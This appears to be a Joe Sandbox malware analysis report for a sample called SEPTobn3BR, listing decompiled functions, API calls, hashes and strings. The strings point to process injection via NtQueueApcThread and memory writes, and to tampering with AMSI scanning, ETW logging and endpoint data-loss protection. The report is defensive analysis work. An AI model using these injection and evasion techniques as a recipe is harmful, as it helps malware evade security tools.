Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateStringWrite
String ID:
API String ID: 3308905243-0
Opcode ID: ef6a40ba2f16e473eebded45b009db5efe4eaf50d30564eb835dc0ba84b5220e
Instruction ID: 4c09621d0b36204d73890984c43506b9198a8dba053bfccdbf173aea4a719bf6
Opcode Fuzzy Hash: ef6a40ba2f16e473eebded45b009db5efe4eaf50d30564eb835dc0ba84b5220e
Instruction Fuzzy Hash: 0721BC71A40209BEEB10EAA4CD46F9EB7BDAB05B04F6144A1B704F71D0D7B46A048AA5

Function 02B979B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B97A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02B979CF
ntdll, xrefs: 02B979FC

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 8a054b902032bce5ba87b6e0771d76f3d087f6fbeaa38f0b85a4b54910fc7c00
Instruction ID: cd600c066876ba4d3fdff552ac61a877e73db1743d8690ce40571bf63fc44d3f
Opcode Fuzzy Hash: 8a054b902032bce5ba87b6e0771d76f3d087f6fbeaa38f0b85a4b54910fc7c00
Instruction Fuzzy Hash: 79110C75650209BFEF00EFA4DC41E9EB7EDEB49710F5188A1F504D7650DA34AA109B60

Function 02B979B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02B97A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02B979CF
ntdll, xrefs: 02B979FC

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 20c71e1caed18aa40bc0acbdce7ec08c6fc59e4b71ee6c516ab99e6a71435992
Instruction ID: 0f9216d57d41e459141a85eaebaf72b1a7d430b722ae6fbbc53371307d265252
Opcode Fuzzy Hash: 20c71e1caed18aa40bc0acbdce7ec08c6fc59e4b71ee6c516ab99e6a71435992
Instruction Fuzzy Hash: BC111E75650209BFEF00EF94DC41F9EB7EDEB49710F5188A1F504D7650DA34AA10DB60

Function 02B97D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B97D74

Strings

Ntdll, xrefs: 02B97D4B
yromeMlautriVetirW, xrefs: 02B97D1B

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 19cab1c90364cac34d5bf163d149575017ddad3ddd36c62028e8cb5d04880178
Instruction ID: e094ef83edf11302806c6ba056f9d0212032e2f9fe6f7aa7b7911ea9d88f5965
Opcode Fuzzy Hash: 19cab1c90364cac34d5bf163d149575017ddad3ddd36c62028e8cb5d04880178
Instruction Fuzzy Hash: C50100B5610205BFEF00EFA8D841E9EB7FDEB49710F9184A1F508D7A50DA70AD10DB64

Function 02B98584 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21nativethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 02B98020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B98090,?,?,00000000,?,02B97A06,ntdll,00000000,00000000,02B97A4B,?,?,00000000), ref: 02B9805E
Part of subcall function 02B98020: GetModuleHandleA.KERNELBASE(?), ref: 02B98072

Part of subcall function 02B980C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B98150,?,?,00000000,00000000,?,02B98069,00000000,KernelBASE,00000000,00000000,02B98090), ref: 02B98115
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B9811B
Part of subcall function 02B980C8: GetProcAddress.KERNEL32(?,?), ref: 02B9812D

NtQueueApcThread.NTDLL(?,?,?,?,?), ref: 02B985B5

Strings

NtQueueApcThread, xrefs: 02B98587
ntdll, xrefs: 02B9858C

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressProc$QueueThread
String ID: NtQueueApcThread$ntdll
API String ID: 3075473611-1374908105
Opcode ID: 11608b2f3f3c01c14baba5e9628f2436f896bc41cbd977e40bb0d29d9edff113
Instruction ID: 563bc1a1382e8e7fcd1b722ab6700863a55326fc4a5bc91789840ccf55dc5664
Opcode Fuzzy Hash: 11608b2f3f3c01c14baba5e9628f2436f896bc41cbd977e40bb0d29d9edff113
Instruction Fuzzy Hash: 92E026B2640209BF9F40DE9CD845E8F37EDAB0D7907004555FA09E7611D671ED248B75

Function 02B9D9F0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 02B9DA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DABE), ref: 02B9DA82
NtDeleteFile.NTDLL(?), ref: 02B9DAA1

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: DeleteFileInitStringUnicode
String ID:
API String ID: 3559453722-0
Opcode ID: 9f9d0a2dd6907f8f4fa19183ccd533d484cbe1667d02b26049347376f8ffe51a
Instruction ID: 859238d7f6a49cac07242152b1ddf267ee39bfe1f41face0a37b1a6aec37dece
Opcode Fuzzy Hash: 9f9d0a2dd6907f8f4fa19183ccd533d484cbe1667d02b26049347376f8ffe51a
Instruction Fuzzy Hash: 8B014B75A0824AAEEF05FAA1CD81BCD77B9AB45704F5044E2E324F7091DA74AB148B25

Function 02B9DA44 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02B84ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02B84EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 02B9DA6C
RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DABE), ref: 02B9DA82
NtDeleteFile.NTDLL(?), ref: 02B9DAA1

Part of subcall function 02B84C0C: SysFreeString.OLEAUT32(02B9E950), ref: 02B84C1A

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: String$AllocDeleteFileFreeInitUnicode
String ID:
API String ID: 2841551397-0
Opcode ID: 8d7d4e99c2a9d409aabd3a9bab9d43f47259409cc5e42c6df8f2b3839e6b5afa
Instruction ID: f38f1d291bb24399c9ca2f4a515438841b77be2ca70569558a0df89cd848262f
Opcode Fuzzy Hash: 8d7d4e99c2a9d409aabd3a9bab9d43f47259409cc5e42c6df8f2b3839e6b5afa
Instruction Fuzzy Hash: CA01E871A0420DAAEB11FAE1CD52FDEB7BDEB49700F5045B1E614E2190EB74AB148A64

Function 02B96D50 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02B96CF4: CLSIDFromProgID.OLE32(00000000,?,00000000,02B96D41,?,?,?,00000000), ref: 02B96D21

CoCreateInstance.OLE32(?,00000000,00000005,02B96E34,00000000,00000000,02B96DB3,?,00000000,02B96E23), ref: 02B96D9F

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 844ce991050213c7e4c6c7711024c96a84a136f00df133a29fed2a8a42122533
Instruction ID: b39a8014757d4a89ff599e240ba940b06504358eab89bdd22ad5856ccb602f0e
Opcode Fuzzy Hash: 844ce991050213c7e4c6c7711024c96a84a136f00df133a29fed2a8a42122533
Instruction Fuzzy Hash: E201F271608B04AFEB05EF65DC5296BBBBDEB49B10B5244B6F905D2650E6308E10C960

Function 02BA7878 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2771
processthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B98824: LoadLibraryA.KERNEL32(00000000,00000000,02B9890B), ref: 02B98858
Part of subcall function 02B98824: FreeLibrary.KERNEL32(74FC0000,00000000,02BE1388,Function_000065D8,00000004,02BE1398,02BE1388,05F5E0FF,00000040,02BE139C,74FC0000,00000000,00000000,00000000,00000000,02B9890B), ref: 02B988EB

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02CD57DC,02CD5820,OpenSession,02BE137C,02BAAFD8,UacScan,02BE137C), ref: 02BA7E39
ResumeThread.KERNEL32(000008E8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,UacScan,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8), ref: 02BA8483

Part of subcall function 02B98584: NtQueueApcThread.NTDLL(?,?,?,?,?), ref: 02B985B5

CloseHandle.KERNEL32(000008EC,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,UacScan,02BE137C,02BAAFD8,000008E8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C), ref: 02BA8602

Part of subcall function 02B987A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize,02BE13A4,02B9A77C,UacScan), ref: 02B987B4
Part of subcall function 02B987A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B987CE
Part of subcall function 02B987A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02BE13A4,02B9A3C7,ScanString,02BE13A4,02B9A77C,ScanBuffer,02BE13A4,02B9A77C,Initialize), ref: 02B9880A

CloseHandle.KERNEL32(000008EC,000008EC,ScanBuffer,02BE137C,02BAAFD8,UacInitialize,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,UacScan,02BE137C), ref: 02BA89F4

Part of subcall function 02B87E18: GetFileAttributesA.KERNEL32(00000000,?,02B9F8CC,ScanString,02BE137C,02BAAFD8,OpenSession,02BE137C,02BAAFD8,ScanString,02BE137C,02BAAFD8,UacScan,02BE137C,02BAAFD8,UacInitialize), ref: 02B87E23

Part of subcall function 02B9DACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B9DB9E), ref: 02B9DB0B
Part of subcall function 02B9DACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B9DB45
Part of subcall function 02B9DACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B9DB72
Part of subcall function 02B9DACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B9DB7B

Part of subcall function 02B9818C: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02B98216), ref: 02B981F8

ExitProcess.KERNEL32(00000000,OpenSession,02BE137C,02BAAFD8,ScanBuffer,02BE137C,02BAAFD8,Initialize,02BE137C,02BAAFD8,00000000,00000000,00000000,ScanString,02BE137C,02BAAFD8), ref: 02BAAA25

Strings

LdrGetProcedureAddress, xrefs: 02BAA7A7
SLIsGenuineLocalEx, xrefs: 02BA9600
endpointdlp, xrefs: 02BA9B8F, 02BA9BC2, 02BA9BF5, 02BA9C28
sppc, xrefs: 02BA95B1, 02BA95E4, 02BA9617, 02BA964A, 02BAA55A, 02BAA58D
SLGetSLIDList, xrefs: 02BA95CD
RtlQueryProcessDebugInformation, xrefs: 02BAA0CE
mssip32, xrefs: 02BA98BD
spp, xrefs: 02BA9824, 02BA9857, 02BAA4F4
CreateProcessAsUserW, xrefs: 02BAA155, 02BAA173
MiniDumpWriteDump, xrefs: 02BA899E
UacScan, xrefs: 02BA7B6C, 02BA7CF5, 02BA7E4E, 02BA7FF4, 02BA8181, 02BA8315, 02BA8494, 02BA870B, 02BA8B79, 02BA8D93, 02BA8F74, 02BA90E8, 02BA931E, 02BAA18E
NtDeviceIoControlFile, xrefs: 02BAA0B0
MZER, xrefs: 02BA7FDC, 02BA815C
UacInitialize, xrefs: 02BA887F, 02BA8C9B
BCryptVerifySignature, xrefs: 02BA99D1
NtMapViewOfSection, xrefs: 02BAA6A8
CreateProcessWithLogonW, xrefs: 02BAA164
SetUnhandledExceptionFilter, xrefs: 02BAA336
SxTracerGetThreadContextDebug, xrefs: 02BA980D, 02BAA4DD
RetailTracerEnable, xrefs: 02BA97DA
VirtualAlloc, xrefs: 02BAA204
VirtualProtect, xrefs: 02BAA26A
GetProcessMemoryInfo, xrefs: 02BA9873
ntdll, xrefs: 02BA897B, 02BA89CB, 02BA89DF, 02BA9D53, 02BA9D86, 02BA9DB9, 02BA9DEC, 02BA9E1F, 02BAA5C0, 02BAA5F3, 02BAA626, 02BAA659, 02BAA68C, 02BAA6BF, 02BAA6F2, 02BAA725, 02BAA758, 02BAA78B, 02BAA7BE, 02BAA7F1, 02BAA824, 02BAA857, 02BAA88A
EnumServicesStatusExW, xrefs: 02BAA10A
DlpGetWebSiteAccess, xrefs: 02BA9C11
C:\Windows\System32\, xrefs: 02BA7E03
NtQueryDirectoryFile, xrefs: 02BAA0BF
EnumServicesStatusW, xrefs: 02BAA0EC
DlpCheckIsCloudSyncApp, xrefs: 02BA9BAB
NtCreateSection, xrefs: 02BAA675
OpenProcess, xrefs: 02BAA29D
SLGetGenuineInformation, xrefs: 02BA959A
advapi32, xrefs: 02BA898F
DllGetClassObject, xrefs: 02BA9840, 02BAA510
NtGetWriteWatch, xrefs: 02BAA5A9
RtlCreateQueryDebugBuffer, xrefs: 02BA9E08
SLGetEncryptedPIDEx, xrefs: 02BAA576
ScanString, xrefs: 02BA797C, 02BA7BE8, 02BA868F, 02BA8A81, 02BA8E6A, 02BA9226, 02BA9524, 02BA98DF, 02BA9CC6, 02BA9EBD, 02BAA467
FlushInstructionCache, xrefs: 02BAA303
MiniDumpReadDumpStream, xrefs: 02BA89B2
NtWriteVirtualMemory, xrefs: 02BAA7DA
CreateProcessA, xrefs: 02BAA128
dbgcore, xrefs: 02BA89A3, 02BA89B7
kernel32, xrefs: 02BAA21B, 02BAA24E, 02BAA281, 02BAA2B4, 02BAA2E7, 02BAA31A, 02BAA34D
OpenSession, xrefs: 02BA7884, 02BA79F8, 02BA7A74, 02BA7D71, 02BA7ECA, 02BA8070, 02BA81FD, 02BA8391, 02BA8510, 02BA8613, 02BA8787, 02BA8A05, 02BA8BF5, 02BA8EE6, 02BA906C, 02BA92A2, 02BA94A8, 02BA966C, 02BA995B, 02BA9A0A, 02BA9C4A, 02BA9E41, 02BA9F39, 02BAA3EB, 02BAA9B3
VirtualAllocEx, xrefs: 02BAA237
ScanBuffer, xrefs: 02BA7C79, 02BA7F46, 02BA80EC, 02BA8279, 02BA840D, 02BA858C, 02BA8803, 02BA88FB, 02BA8D17, 02BA8FF0, 02BA9164, 02BA939A, 02BA942C, 02BA9764, 02BA9B02, 02BAA031, 02BAA937
I_QueryTagInformation, xrefs: 02BA898A
NtSetSecurityObject, xrefs: 02BA89C6
NtQueryInformationThread, xrefs: 02BAA60F
EnumServicesStatusExA, xrefs: 02BAA0FB
Advapi, xrefs: 02BAA0E2, 02BAA0F1, 02BAA100, 02BAA10F, 02BAA14B, 02BAA15A, 02BAA169
NtOpenFile, xrefs: 02BAA80D
psapi, xrefs: 02BAA11E
CryptSIPVerifyIndirectData, xrefs: 02BA98A6
CreateProcessW, xrefs: 02BAA137
LdrLoadDll, xrefs: 02BAA774
NtQuerySystemInformation, xrefs: 02BAA0A1
NtOpenObjectAuditAlarm, xrefs: 02BA8976
Kernel32, xrefs: 02BAA12D, 02BAA13C, 02BAA178
Ntdll, xrefs: 02BAA0A6, 02BAA0B5, 02BAA0C4, 02BAA0D3
NtReadVirtualMemory, xrefs: 02BAA6DB
EtwEventWrite, xrefs: 02BAA873
DlpNotifyPreDragDrop, xrefs: 02BA9B78
EtwEventWriteEx, xrefs: 02BAA840
psapi, xrefs: 02BA988A
DlpGetArchiveFileTraceInfo, xrefs: 02BA9BDE
SLLoadApplicationPolicies, xrefs: 02BA9633
NtAccessCheck, xrefs: 02BAA741
NtAlertResumeThread, xrefs: 02BA9D3C
NtOpenSection, xrefs: 02BAA642
tquery, xrefs: 02BA97F1
bcrypt, xrefs: 02BA99E8
EnumProcessModules, xrefs: 02BAA119
sppwmi, xrefs: 02BAA527
CreateProcessAsUserA, xrefs: 02BAA146
SLGatherMigrationBlob, xrefs: 02BAA543
RtlAllocateHeap, xrefs: 02BA9D6F, 02BA9DD5
NtOpenProcess, xrefs: 02BA89DA
EnumServicesStatusA, xrefs: 02BAA0DD
NtWaitForSingleObject, xrefs: 02BA9DA2
NtQueryVirtualMemory, xrefs: 02BAA5DC
WriteVirtualMemory, xrefs: 02BAA2D0
Initialize, xrefs: 02BA7900, 02BA7AF0, 02BA8AFD, 02BA96E8, 02BA9A86, 02BA9FB5, 02BAA36F, 02BAA8BB
NtQuerySecurityObject, xrefs: 02BAA70E

Memory Dump Source

Source File: 00000000.00000002.1423511882.0000000002B81000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B80000, based on PE: true

Associated: 00000000.00000002.1423479798.0000000002B80000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BAD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423629715.0000000002BDE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002C56000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD5000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1423795601.0000000002CD8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_SEPTobn3BR.jbxd

Yara matches

Similarity

API ID: Library$CloseFile$CreateFreeHandleLoadProcessThread$AddressAttributesCacheExitFlushInstructionProcQueueResumeUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZER$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 849842579-3388343709
Opcode ID: 4632b42a45f0cb6f2eeb4bb6bac411d5779f48b34377b58ccc89fd491064de14
Instruction ID: 40e61c8e3f13d544ee01e5146313e4c51a7ecdfbb0004269834b945e13ab9d3a
Opcode Fuzzy Hash: 4632b42a45f0cb6f2eeb4bb6bac411d5779f48b34377b58ccc89fd491064de14
